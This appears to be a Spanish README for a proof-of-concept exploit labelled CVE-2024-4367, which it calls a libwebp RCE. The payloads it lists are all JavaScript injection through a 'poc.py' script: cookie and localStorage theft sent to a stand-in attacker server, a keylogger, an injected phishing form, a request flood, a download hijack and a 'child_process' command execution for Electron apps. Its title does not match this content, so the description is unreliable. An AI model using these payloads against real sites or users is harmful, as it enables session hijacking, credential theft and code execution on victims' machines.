
PoC (Proof of Concept) para CVE-2024-4367 - Vulnerabilidad RCE en libwebp. Demostración completa que incluye: creación de payloads, escenarios de ataque, análisis de riesgos y servidor Express.js de prueba.
Otro ejemplo de explotación consiste en inyectar un simple mensaje de alerta para verificar si el ataque funciona.
python poc.py "alert('XSS exploit triggered');"
El ataque XSS puede usarse para robar las cookies de la víctima y enviarlas a un servidor malicioso.
python poc.py "fetch('http://localhost:3000/cookie', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({cookie: document.cookie})});"
http://localhost:3000/cookie).El atacante puede robar información sensible almacenada en el localStorage de la víctima, como datos de autenticación o información de sesión.
python poc.py "fetch('http://localhost:3000/localstorage', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({localstorage: JSON.stringify(localStorage)})});"
localStorage y los envía a un servidor malicioso mediante una solicitud fetch.El atacante puede redirigir a la víctima a un sitio malicioso para recuperar información adicional o cargar otro exploit.
python poc.py "window.location.href='http://localhost:3000';"
Otro tipo de ataque consiste en inundar un servidor con solicitudes, lo que puede provocar una degradación del rendimiento o una interrupción del servicio.
python poc.py "for (let i = 0; i < 100; i++) { fetch('http://localhost:3000/api'); }"
El atacante puede interceptar las pulsaciones de teclado de la víctima, lo que le permite recuperar información sensible como contraseñas o identificadores.
python poc.py """document.addEventListener('keydown', function(e) {
fetch('http://localhost:3000/keylogger?key=' + e.key);
});"""
Un atacante puede usar XSS para inyectar un formulario de phishing en una página web y así robar información sensible (ej.: contraseña, nombre de usuario).
python poc.py """
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://localhost:3000/phishing';
var input = document.createElement('input');
input.type = 'text';
input.name = 'username';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
"""
Si el usuario va a hacer clic en un botón de descarga, cambiaremos el destino de la descarga.
const a = document.createElement('a');
a.href = "https://example.com/fichier.pdf";
a.download = "fichier.pdf";
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
python poc.py "require('child_process').exec('calc.exe')"
Las aplicaciones basadas en frameworks como Electron o NW.js también pueden verse afectadas por ataques XSS, ya que permiten integrar contenido web en aplicaciones de escritorio con accesos locales ampliados.
Estas aplicaciones, debido a sus permisos, pueden permitir a un atacante acceder a archivos locales, ejecutar procesos externos, o incluso lanzar otras aplicaciones en la máquina objetivo (por ejemplo, la calculadora, un editor de texto, etc.). Esto aumenta considerablemente la superficie de ataque, ya que estas aplicaciones combinan el poder de la web con accesos al sistema más amplios.
Los ataques que explotan las CVE (Common Vulnerabilities and Exposures) pueden permitir realizar diversos tipos de ataques XSS. Al explotar vulnerabilidades específicas en aplicaciones web o de escritorio, un atacante puede inyectar código malicioso, robar información sensible, manipular sesiones de usuario o ejecutar acciones maliciosas en el sistema objetivo.